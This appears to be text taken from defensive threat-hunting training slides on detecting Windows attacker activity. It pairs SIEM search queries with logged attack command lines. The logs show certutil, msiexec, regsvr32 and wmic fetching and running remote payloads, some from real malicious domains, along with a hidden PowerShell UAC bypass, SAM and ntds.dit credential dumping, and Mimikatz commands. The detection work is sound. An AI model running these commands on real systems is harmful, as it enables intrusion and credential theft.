<td>explorer.exe, msiexec.exe /i <a href="http://point.ltdmsjq.com/?data=2D1Hmj1QCNwQUNvCwQW7TH4F9FI">http://point.ltdmsjq.com/?data=2D1Hmj1QCNwQUNvCwQW7TH4F9FI</a> 1FjQ7ENdFm61JMN6SFjLQMF -- /q</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Certutil. Real-life examples

Malicious attachment (link in archive) -> cmd -> certutil download -> payload execution

<table>
<thead>
<tr>
<th>Time</th>
<th>parentprocessfilepath</th>
<th>processcmdline</th>
<th>filecmdline</th>
</tr>
</thead>
</table>
| 2018-03-21 16:20:15 | c:\program files\internet explorer\iexplore.exe | "C:\Program Files\WinRAR\WinRAR.exe"  
"C:\Users\u7m5\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XMDIF4UZ\Nuovo documento 2018.zip" | "C:\WINDOWS\system32\cmd.exe" /c "start http://streakk.com/documento.jpg & certutil -urlcache -split -f http://teendriversinsurance.com/pagewex2.php  
C:\\Users\\u7m5\\AppData\\Local\\Temp\\IniCfg.exe & start  
C:\\Users\\u7m5\\AppData\\Local\\Temp\\IniCfg.exe" |
| 2018-04-19 10:36:16 | C:\Program Files\Internet Explorer\iexplore.exe | "C:\Program Files\7-Zip\7zFM.exe"  
"C:\Users\ux55\AppData\Local\Microsoft\Windows\INetCache\IE\USZ4E206\Nuovo documento 2018.zip" | "C:\WINDOWS\system32\cmd.exe" /c "start http://uberalawyer.com/documento.jpg & certutil -urlcache -split -f http://uberalawyer.com/pagewex9.php  
C:\\Users\\ux55\\AppData\\Local\\Temp\\WindowLog.exe > NUL & start  
C:\\Users\\ux55\\AppData\\Local\\Temp\\WindowLog.exe" |

Malicious excel in attachment (CSV Excel formula injection) -> certutil download -> certutil decode -> payload execution

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>file_path</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
</table>
| DAWLISH-PC... | c:\program files\microsoft office\office15\excel.exe | c:\windows\system32\certutil.exe | "MSEXCEL.EXE \...\..\..\windows\System32\certutil.exe" -urlcache -split -f http://192.168.117.171/C_20273.txt  
C:\Users\Public\C_20273.txt | suspicious_certutil_usage_downloading_or_remote_interaction,  
suspicious_process_spawned_by_office_application |
| DAWLISH-PC... | c:\program files\microsoft office\office15\excel.exe | c:\windows\system32\certutil.exe | "MSEXCEL.EXE \...\..\..\windows\System32\certutil.exe" -decode C:\Users\Public\C_20273.txt  
C:\Users\Public\C_20273.dll | suspicious_certutil_usage_decoding,  
suspicious_process_spawned_by_office_application |
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. “SquiblyTwo” detection

Saved search “WMI SquiblyTwo Attack”:

```
event_data.CommandLine:*wmic* AND event_data.CommandLine:*format* AND event_data.CommandLine:(*ftp* *http*)
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Program Files\Microsoft Office\Office15\WINWORD.EXE</td>
<td><code>c:\windows\system32\cmd.exe /k wmic.exe os get /FORMAT:&quot;http://192.168.220.1/template.xsl&quot;</code></td>
<td>suspicious_processes_spawned_from_ms_office, wmi_squiblytwo_attack</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. “SquiblyDoo” detection

```powershell
set post-windows/manage/run_as > run

[*] Executing CreateProcessWithLogonW...
[*] Process started successfully, PID: 468
[*] Post module execution completed
set post-windows/manage/run_as >
[*] https://192.168.220.66:8088 handling request from 192.168.220.100: (UUID: twh4ueqw) Staging x64 payload (207449 bytes) ...
[*] Running module against VICTIM
[*] Current server process: WMIC.exe (3680)
[*] Spawning notepad.exe process to migrate to
[*] Migrating to 2445
```

Saved search “Regsver32 SquiblyDoo Attack”:

**event_data.CommandLine:** *regsvr32* AND **event_data.CommandLine:** *scrobj*

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.n.com</td>
<td>Network connection detected (rule: NetworkConnect)</td>
<td>-</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>regsvr32 /s /n /u /i:<a href="http://192.168.220.1/regsrvr.sct">http://192.168.220.1/regsrvr.sct</a> scrobj.dll</td>
<td>wmi_squiblydoo_a ttack</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. Suspicious msiexec

Saved search “Using msiexec to execute msi form URL”:

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,698</td>
<td>Other Object Access Events</td>
<td>-</td>
<td>cmd.exe /C msiexec.exe /q /i <a href="http://192.168.220.1/plugin.msi">http://192.168.220.1/plugin.msi</a> &gt; %windir%\Temp\Y3NM3Wt.tmp 2&gt;&amp;1</td>
<td>using_msiexec_to_execute_msi_by_url, remotely_created_scheduled_task, remote_access_to_scm_from_non_admin_hosts</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. PowerUp execution detection

Saved search “Powershell download cradles”:

```
```
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. Detection of certutil usage for downloading of Rotten Potato

Saved search “Using certutil for downloading”:

```
event_data.CommandLine:(*certutil*) AND event_data.CommandLine:(*urlcache* *url* *ping*) AND event_data.CommandLine:(*http* *ftp*)
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\wbem\WMIC.exe</td>
<td>C:\windows\System32\cmd.exe</td>
<td>certutil -urlcache -split -f <a href="http://192.168.220.1/rootca.crt">http://192.168.220.1/rootca.crt</a> C:\temp\rootca.crt</td>
<td>using_certutil_for_downloading</td>
</tr>
<tr>
<td>VICTM.testdomain.com</td>
<td>Network connection detected (rule: NetworkConnect)</td>
<td>-</td>
<td>C:\windows\System32\cmd.exe</td>
<td>certutil -urlcache -split -f <a href="http://192.168.220.1/rootca.crt">http://192.168.220.1/rootca.crt</a> C:\temp\rootca.crt</td>
<td>using_certutil_for_downloading</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. Detection of bitsadmin usage for downloading of Mimikatz.

Saved search “Using bits for downloading or uploading files”:


<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\wbem\WMIC.exe</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>bitsadmin /transfer /download <a href="http://192.168.220.1/site.crt">http://192.168.220.1/site.crt</a> C:\temp\site.crt</td>
<td>using_bits_for_downloading_oruploading</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. Detection of bitsadmin usage for downloading of Mimikatz

Saved search “Suspicious BITS job”:
source_name:"Microsoft-Windows-Bits-Client" AND event_id:("59" "60") AND -event_data.name:("*CCM Message Upload *" "*Push Notification Platform Job*" "*CCMSETUP DOWNLOAD*" "*Microsoft Outlook Offline Address Book*" *CCMDTS* "*WU Client Download*") AND -event_data.url:(*gvt1* *adobe* *yandex* *googleapis* *windowsupdate*)

<table>
<thead>
<tr>
<th>computer_name</th>
<th>log_name</th>
<th>event_id</th>
<th>event_data.name</th>
<th>event_data.url</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomainn.com</td>
<td>Microsoft-Windows-Bits-Client/Operational</td>
<td>60</td>
<td>/download</td>
<td><a href="http://192.168.2">http://192.168.2</a> 20.1/site.crt</td>
<td>suspicious_bits_job</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Hands-on lab attack scenario 1. Detection of certutil usage for decoding of Rotten Potato and Mimikatz binaries.

Saved search “Using certutil to decode base64 encoded files”:

```
event_data.CommandLine:(*certutil*) AND event_data.CommandLine:(*decode*)
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\wbem\WMIC.exe</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\rootca.crt C:\temp\svchost.exe</td>
<td>using_certutil_for_file_decoding</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>File created (rule: FileCreate)</td>
<td>-</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\rootca.crt C:\temp\svchost.exe</td>
<td>using_certutil_for_file_decoding</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\wbem\WMIC.exe</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\site.crt C:\Windows\services.exe</td>
<td>using_certutil_for_file_decoding</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>File created (rule: FileCreate)</td>
<td>-</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\site.crt C:\Windows\services.exe</td>
<td>using_certutil_for_file_decoding</td>
</tr>
</tbody>
</table>
Bitsadmin for downloading, certutil for decoding of Mimikatz

Real-life example

Customized Mimikatz, that was downloaded using bitsadmin and decoded using certutil

Bat-file, that was used to launch this Mimikatz

Encoded Mimikatz binary

Administrator: Command Prompt

```
C:\Users\[username]\> certutil -decode 1.txt decoded_1.txt
C:\Users\[username]\> certutil -hashfile 1.exe MDS
ac c3 07 c3 7e 6c dc 11
Certutil: hashfile command completed successfully.
```

```
C:\Users\[username]\> certutil -hashfile decoded_1.txt MDS
ac c3 07 c3 7e 6c dc 11
Certutil: hashfile command completed successfully.
```
Hunting. Masquerading

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs.

Some of the often abused process file names:

- svchost.exe
- services.exe
- winlogon.exe
- csrss.exe
- explorer.exe
- lsass.exe
- conhost.exe

Look for **creation, execution,** or **installation/presence in autorun** of files with such (or similar) names.
Hunting. Masquerading
Real-life examples

Files, that named like system processes and installed in autorun – quite popular technique

<table>
<thead>
<tr>
<th>autorun_entries</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Windows\System32\Tasks\Microsoft\windows\NetCfg\MsCtfMonitor</td>
<td>&quot;C:\ProgramData\Microsoft\Event Viewer\Windows Logs\svchost.exe&quot;</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>C:\Windows\Tasks\PED_Torrent_Search.job, tsched:\PED_Torrent_Search, C:\Windows\System32\Tasks\PED_Torrent_Search</td>
<td>C:\ProgramData\Torrent_Search_PED\rundll32.exe f9MVAHy.dll, #67</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>HKLML\SYSTEM\ControlSet001\Services\clr_optimization_v1.03, HKLML\SYSTEM\ControlSet002\Services\clr_optimization_v1.03</td>
<td>&quot;C:\Users\1\AppData\Roaming\System\svchost.exe&quot;</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>HKU\S-1-5-21-2806467986-2213310797-1456514503-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run: tok-c1rrhatus</td>
<td></td>
<td></td>
</tr>
<tr>
<td>HKLML\SYSTEM\ControlSet001\Services\ServiceMain, HKLML\SYSTEM\ControlSet002\Services\ServiceMain</td>
<td>C:\Users\Intel\AppData\Roaming\System\svchost.exe</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>C:\Windows\System32\Tasks\csrss</td>
<td>C:\windows\Fonts\csrss.exe</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>HKU\S-1-5-21-73586283-839521115-1801674315-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:Tok-C1rrhatus</td>
<td>&quot;C:\Documents and Settings\Admin\Local Settings\Application Data\svchost.exe&quot;</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
<tr>
<td>HKLML\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:Login, HKLML\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:Login</td>
<td>C:\users\jsaime\AppData\Local\temp\00008250\conhost.exe</td>
<td>files_in_autostart_named_like_system_processes</td>
</tr>
</tbody>
</table>
Hunting. Masquerading
Hands-on lab attack scenario 1. Find files named like system processes

Saved search “Files that are named like system processes, but located in the wrong place”:

(event_data.Image:(*\rundll32.exe" "*\svchost.exe" "*\wmiprvse.exe" "*\wmiadap.exe" "*\smss.exe" "*\wininit.exe" "*\taskhost.exe" "*\lsass.exe" "*\winlogon.exe" "*\csrss.exe" "*\services.exe" "*\svchost.exe" "*\lm.exe" "*\conhost.exe" "*\dllhost.exe" "*\dwm.exe" "*\spoolsv.exe" "*\wuauclt.exe" "*\taskhost.exe" "*\taskhostw.exe" "*\fontdrvhost.exe" "*\searchindexer.exe" "*\searchprotocolhost.exe" "*\searchfilterhost.exe" "*\sihost.exe") AND -event_data.Image:("*\system32\* system32\syswow64\* syswow64\* winsxs\*"
"*\wmiadap.exe" "*\smss.exe" "*\wininit.exe" "*\taskhost.exe" "*\lsass.exe" "*\winlogon.exe" "*\csrss.exe" "*\services.exe" "*\svchost.exe" "*\lm.exe" "*\conhost.exe" "*\dllhost.exe" "*\dwm.exe" "*\spoolsv.exe" "*\wuauclt.exe" "*\taskhost.exe" "*\taskhostw.exe" "*\fontdrvhost.exe" "*\searchindexer.exe" "*\searchprotocolhost.exe" "*\searchfilterhost.exe" "*\sihost.exe") AND -event_data.TargetFilename:("*\system32\* system32\syswow64\* syswow64\* winsxs\*"
"*\wmiadap.exe" "*\smss.exe" "*\wininit.exe" "*\taskhost.exe" "*\lsass.exe" "*\winlogon.exe" "*\csrss.exe" "*\services.exe" "*\svchost.exe" "*\lm.exe" "*\conhost.exe" "*\dllhost.exe" "*\dwm.exe" "*\spoolsv.exe" "*\wuauclt.exe" "*\taskhost.exe" "*\taskhostw.exe" "*\fontdrvhost.exe" "*\searchindexer.exe" "*\searchprotocolhost.exe" "*\searchfilterhost.exe" "*\sihost.exe") AND -event_data.TargetFilename:("*\system32\* system32\syswow64\* syswow64\* winsxs\*")

C:\Windows\system32>certutil -decode C:\temp\rootca.crt C:\temp\svchost.exe
certutil -decode C:\temp\rootca.crt C:\temp\svchost.exe
Input Length = 936378
Output Length = 680960
CertUtil: -decode command completed successfully.

C:\Windows\system32>certutil -decode C:\temp\site.crt C:\Windows\services.exe
certutil -decode C:\temp\site.crt C:\Windows\services.exe
Input Length = 1243092
Output Length = 904024
CertUtil: -decode command completed successfully.
Hunting. Masquerading
Hands-on lab attack scenario 1. Find files named like system processes

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>event_data.TargetFilename</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>File created</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\rootca.crt C:\temp\svchost.exe</td>
<td>C:\temp\svchost.exe</td>
<td>using_certutil_for_file_decoding, files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\wbem\wmic.exe</td>
<td>C:\temp\svchost.exe</td>
<td>-</td>
<td>files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>File created</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>certutil -decode C:\temp\site.crt C:\windows\services.exe</td>
<td>C:\windows\services.exe</td>
<td>using_certutil_for_file_decoding, files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>&quot;sekurlse::logonpassword&quot;</td>
<td>-</td>
<td>minikatz_commands_patterns, files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\SysWOW64\cmd.exe</td>
<td>C:\windows\services.exe</td>
<td>-</td>
<td>files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>C:\windows\services.exe</td>
<td>-</td>
<td>files_named_like_system_processes_but_in_the_wrong_place</td>
</tr>
</tbody>
</table>
Hunting. Privilege Escalation. Access token manipulation
Real-life examples

**Process with Medium integrity level spawn process with System integrity level** → good sign of successful privilege escalation attack

**Launch whoami as System** -> also good sign of successful privilege escalation attack

Process token was changed via kernel exploitation

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>processintegritylevel</th>
<th>file_path</th>
<th>targetprocessintegritylevel</th>
<th>aps_hunts</th>
<th>targetprocessuserid</th>
</tr>
</thead>
<tbody>
<tr>
<td>GNSK4R2YX4A4L</td>
<td>c:\windows\system32\cmd.exe</td>
<td>8,192</td>
<td>c:\windows\system32\whoami.exe</td>
<td>16,384</td>
<td>system_owner_or_user_discovery, possible_privilege_escalation_non_admin_start_process_as_system, using_whoami_to_check_that_current_user_is_system</td>
<td>S-1-5-18</td>
</tr>
<tr>
<td>soc.lab</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>8,192</td>
<td>c:\windows\system32\powershell\v1.0\powershell.exe</td>
<td>16,384</td>
<td></td>
<td></td>
</tr>
<tr>
<td>GNSK4R2YX4A4UZT</td>
<td>c:\windows\system32\cmd.exe</td>
<td>8,192</td>
<td>c:\windows\system32\powershell\v1.0\powershell.exe</td>
<td>16,384</td>
<td></td>
<td></td>
</tr>
<tr>
<td>soc.lab</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>S-1-5-18</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hunting. Privilege Escalation. Weak service permissions
Real-life examples

Launch `sc` to change service binary path as non admin -> probably attempt to escalate privileges via weak service permissions

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>processintegritylevel</th>
<th>processlogonsessionid</th>
<th>cmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAWLISH-PC-</td>
<td>c:\windows\system 32\cmd.exe</td>
<td>8,192</td>
<td>0xE9938</td>
<td>sc qc FoxitReaderService</td>
<td>system_service_discovery</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sc config</td>
<td>possible_privilege_escalation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>FoxitReaderService</td>
<td>via_weak_service_permissions</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>binpath= &quot;rundll32.exe shell32.dll Control_RunDLL C:Users\Public\C_20273.dll&quot;</td>
<td></td>
</tr>
<tr>
<td>DAWLISH-PC-</td>
<td>c:\windows\system 32\cmd.exe</td>
<td>8,192</td>
<td>0xE9938</td>
<td>sc qc FoxitreaderService</td>
<td>system_service_discovery</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>sc stop Foxitreaderservice</td>
<td></td>
</tr>
<tr>
<td>DAWLISH-PC-</td>
<td>c:\windows\system 32\rundll32.exe</td>
<td>16,384</td>
<td>0x3E7</td>
<td>C:\Windows\system32\cmd.exe</td>
<td>suspicious_powershell adversity</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>whoami</td>
<td>system_owner_or_user_discovery,</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>using_whoami_to_check</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>_that_current_user_is_system</td>
</tr>
</tbody>
</table>

Launch `whoami` as System -> also good sign of successful privilege escalation attack
Hunting. Privilege Escalation. Access token manipulation
Hands-on lab attack scenario 1

Saved searches: “Privilege escalation - Network Service to System”:

- event_data.ParentUser:"NT AUTHORITY\NETWORK SERVICE" AND
- event_data.User:"System" AND
- event_data.IntegrityLevel:System

Saved search “Privilege escalation - Run whoami as System”:

- event_data.Image:"*\whoami.exe" AND (event_data.LogonId:0x3e7 OR
- event_data.SubjectLogonId:0x3e7 OR event_data.User:"NT AUTHORITY\SYSTEM")
Hunting. Privilege Escalation. Weak service permissions
Hands-on lab attack scenario 1

Saved search “Privilege escalation via weak service permissions ”:

```
event_data.Image:"*\sc.exe" AND (event_data.CommandLine:(*start* *sdshow*) OR (event_data.CommandLine:*config* AND event_data.CommandLine:*binPath*)) AND event_data.IntegrityLevel:Medium
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>event_data.IntegrityLevel</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>sc sdshow SecurityService</td>
<td>Medium</td>
<td></td>
</tr>
<tr>
<td></td>
<td>(rule:</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>ProcessCreate)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>sc config SecurityService binPath= &quot;cmd /c wmic os get /FORMAT:&quot;<a href="http://192.168.220.1/template.xsl">http://192.168.220.1/template.xsl</a>&quot;&quot;</td>
<td>Medium</td>
<td>wmi_squiblytwo_attack, possible_privilege_escalation_via_weak_service_permissions</td>
</tr>
<tr>
<td></td>
<td>(rule:</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>ProcessCreate)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>sc start SecurityService</td>
<td>Medium</td>
<td></td>
</tr>
<tr>
<td></td>
<td>(rule:</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>ProcessCreate)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hunting. UAC Bypass

• There are a lot of criticism of UAC functionality. Unfortunately, this is partly true. There a huge number of methods to bypass UAC, and the corresponding hacking tools for this are publicly available;
• In fact, UAC can help only against low-qualified attackers;
• Therefore, to limit privileges, an old trick is recommended – use separate admin accounts, instead of elevation via UAC.


<table>
<thead>
<tr>
<th>Protection Level</th>
<th>Elevation Method</th>
</tr>
</thead>
<tbody>
<tr>
<td>Worse</td>
<td>Turn off UAC</td>
</tr>
<tr>
<td>Bad</td>
<td>Automatically elevate administrators</td>
</tr>
<tr>
<td>Good</td>
<td>Run in admin-approval mode</td>
</tr>
<tr>
<td>Better</td>
<td>Run as standard user and elevate to a separate admin account.</td>
</tr>
<tr>
<td>Best</td>
<td>Run as standard user and switch user to a separate admin account instead of using UAC to elevate</td>
</tr>
</tbody>
</table>

Microsoft: UAC not a security feature

For those who thought the User Account Control (UAC) feature introduced in Windows Vista was intended to set security boundaries, Microsoft has made a clarification: it isn’t.

The message is attracting criticism from security experts, one of whom said it made features such as UAC seem like nothing more than a "joke."

https://github.com/hfiref0x/UACME
Hunting. UAC Bypass using Event Viewer Hands-on lab attack scenario 1

Saved search “Privilege escalation via weak service permissions”:
( event_id:('1" "4688") AND event_data.ParentImage:"*\eventvwr.exe" AND -event_data.Image:"*\mmc.exe" ) OR ( event_id:13 AND event_data.TargetObject:"*\mscfile\shell\open\command")

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.ParentImage</th>
<th>event_data.CommandLine</th>
<th>event_data.TargetObject</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Registry value set (rule: RegistryEvent)</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>wmic os get /FORMAT:&quot;<a href="http://192.168.220.1/template.xsl">http://192.168.220.1/template.xsl</a>&quot;</td>
<td>HKUS-1-5-21-3615843234-1321834752-1894537791-1128_CLASSES\mscfile\shell\open\command(Default)</td>
<td>wmi_squiblyt, uac_attack, uac_bypass_via_event_viewer</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Registry value set (rule: RegistryEvent)</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>wmic os get /FORMAT:&quot;<a href="http://192.168.220.1/template.xsl">http://192.168.220.1/template.xsl</a>&quot;</td>
<td>HKUS-1-5-21-3615843234-1321834752-1894537791-1128_CLASSES\mscfile\shell\open\command\FES8cPX3</td>
<td>wmi_squiblyt, uac_attack, uac_bypass_via_event_viewer</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32\eventvwr.exe</td>
<td>&quot;C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe&quot; -nop -w hidden -c &quot;IEX (Get-ItemProperty -Path HKCU:\Software\Classes\mscfile\shell\open\command -Name fES8cPX3).FES8cPX3&quot;</td>
<td></td>
<td>uac_bypass_via_event_viewer</td>
</tr>
</tbody>
</table>
Credential dumping is the process of obtaining account login and password information from the operating system and software.

It is very common attack technique!

Hunting. Credentials Dumping. Dump SAM/SECURITY registry hives
Real-life examples

Launch reg to save sam/security hives -> good sign of local credentials dumping attempt

DAWLISH-PC again 😊

<table>
<thead>
<tr>
<th>computer_name</th>
<th>parentprocessfilepath</th>
<th>processfilepath</th>
<th>filepath</th>
<th>targetprocessuserid</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAWLISH-PC</td>
<td>C:\Windows\System32\run d1132.exe</td>
<td>C:\windows\system3 2\cmd.exe</td>
<td>reg.exe save hklm\sam C:sam.save</td>
<td>S-1-5-18</td>
<td>dump_sensitive_reg try_hives_using_reg</td>
</tr>
<tr>
<td>DAWLISH-PC</td>
<td>C:\Windows\System32\run d1132.exe</td>
<td>C:\windows\system3 2\cmd.exe</td>
<td>reg.exe save hklm\system C:system.save</td>
<td>S-1-5-18</td>
<td>dump_sensitive_reg try_hives_using_reg</td>
</tr>
<tr>
<td>DAWLISH-PC</td>
<td>C:\Windows\System32\run d1132.exe</td>
<td>C:\windows\system3 2\cmd.exe</td>
<td>reg.exe save hklm\security C:security.save</td>
<td>S-1-5-18</td>
<td>dump_sensitive_reg try_hives_using_reg</td>
</tr>
</tbody>
</table>
Hunting. Credentials Dumping. Shadow copies
Real-life examples

PHDays the Standoff network... 😊. Somebody tries to get ntds.dit from DC, using shadow copies mechanism:

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>Win_ServiceName</th>
<th>filecmdline</th>
<th>detect/verdict</th>
<th>api_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>DC.domain12. phd</td>
<td>-</td>
<td>HODrlUp6AsrVc2</td>
<td>%COMSPEC% /C echo vssadmin create shadow /For=C: \Windows\Temp\x0Ft3y1K8\1aigutq.txt &gt; \Windows\Temp\sp0hdNxLiqkEmsxy.bat &amp; %COMSPEC% /C start cmd.exe /C \Windows\Temp\sp0hdNxLiqkEmsxy.bat</td>
<td>ServiceCreated. Vista</td>
<td>shadow_copies_creation, suspicious_service_install</td>
</tr>
<tr>
<td>DC.domain12. phd</td>
<td>c:\windows\system32\cmd.exe</td>
<td>-</td>
<td>vssadmin create shadow /For=C:</td>
<td></td>
<td>shadow_copies_creation</td>
</tr>
<tr>
<td>DC.domain12. phd</td>
<td>c:\windows\system32\services.exe</td>
<td>-</td>
<td>c:\windows\system32\cmd.exe /C echo vssadmin create shadow /For=C: \Windows\Temp\x0Ft3y1K8\1aigutq.txt &gt; \Windows\Temp\sp0hdNxLiqkEmsxy.bat &amp; C:\windows\system32\cmd.exe /C start cmd.exe /C \Windows\Temp\sp0hdNxLiqkEmsxy.bat</td>
<td></td>
<td>shadow_copies_creation</td>
</tr>
<tr>
